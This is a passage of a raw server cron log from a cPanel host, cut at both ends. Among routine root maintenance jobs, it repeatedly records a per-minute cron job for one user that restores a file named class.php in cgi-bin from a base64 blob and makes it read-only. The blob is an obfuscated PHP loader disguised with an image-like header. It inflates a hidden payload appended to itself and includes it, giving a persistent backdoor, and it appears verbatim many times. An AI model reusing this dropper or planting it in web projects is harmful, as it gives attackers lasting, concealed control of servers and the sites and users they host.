BRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:25:02 server CROND[20029]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:25:02 server CROND[20030]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  7 20:25:02 server CROND[20031]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:25:02 server CROND[20028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:26:01 server CROND[20151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:27:01 server CROND[20307]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 20:27:01 server CROND[20309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:28:01 server CROND[20381]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:29:01 server CROND[20445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:30:01 server CROND[20508]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:30:01 server CROND[20510]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 20:30:01 server CROND[20511]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Apr  7 20:30:01 server CROND[20513]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:30:01 server CROND[20512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:31:01 server CROND[20627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:32:01 server CROND[20767]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:33:01 server CROND[20834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:34:01 server CROND[20902]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:35:01 server CROND[20955]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 20:35:01 server CROND[20956]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 20:35:01 server CROND[20957]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  7 20:35:01 server CROND[20958]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 20:35:01 server CROND[20964]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:36:01 server CROND[21070]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:37:01 server CROND[21119]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 20:38:01 server CROND[21273]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 